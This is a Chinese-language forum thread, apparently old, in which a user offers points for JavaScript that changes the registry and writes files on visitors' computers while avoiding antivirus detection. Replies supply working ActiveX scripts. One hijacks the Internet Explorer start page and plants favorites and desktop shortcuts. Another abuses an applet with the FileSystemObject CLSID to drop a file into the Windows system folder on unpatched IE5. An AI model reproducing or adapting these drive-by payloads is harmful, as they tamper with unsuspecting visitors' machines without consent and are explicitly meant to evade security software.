求源码50分

[annhf]

有没有可以修改注册表和在客户端生成文件的javascript的代码，最好不能被杀毒软件发现

[孟子E章]

<script language="Javascript">
var WshShell = new ActiveXObject("WScript.Shell");
var url="http://lucky.myrice.com";
var title="【孟宪会之精彩世界】";
WshShell.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", url);
alert(WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page"))
var FavoritesPath = WshShell.SpecialFolders("Favorites");
var oUrlLink = WshShell.CreateShortcut(FavoritesPath+'\\'+title+".url");
oUrlLink.TargetPath = url;
oUrlLink.Save();
var DesktopPath = WshShell.SpecialFolders("Desktop");//返回桌面路径
//alert(DesktopPath)
//DesktopPath=DesktopPath.substring(0,DesktopPath.length-7)
var MyShortcut = WshShell.CreateShortcut(DesktopPath + "\\" + title+ "的快捷方式.lnk");
MyShortcut.TargetPath = url;
MyShortcut.WindowStyle = 4;
MyShortcut.IconLocation = WshShell.ExpandEnvironmentStrings("%windir%\\SYSTEM\\SHELL32.DLL,46");
MyShortcut.Save();
</script>

[annhf]

html>
<script language=javascript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")
a=document.applets[0];
a.setClsid("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a.CreateInstance();
fso=a.GetObject();
var winsys=fso.GetSpecialFolder(1);
var vbs=winsys + "\\hanfeng.txt";
var st=fso.CreateTextFile(vbs,true);
st.WriteLine("hello world");
st.Close();
window.alert("建立成功");

</script>
</html>
帮忙看看这段代码有什么错误

[annhf]

我的计算机已经打了补丁，有没有在这种情况下实现的代码，net_lover的代码可以么？

[心云意水]

IE5.0支持，其他版本不行。不能安装任何ms的补丁程序……

[xishanlang2000]

以上代码对客户端的机子有什么要求吗？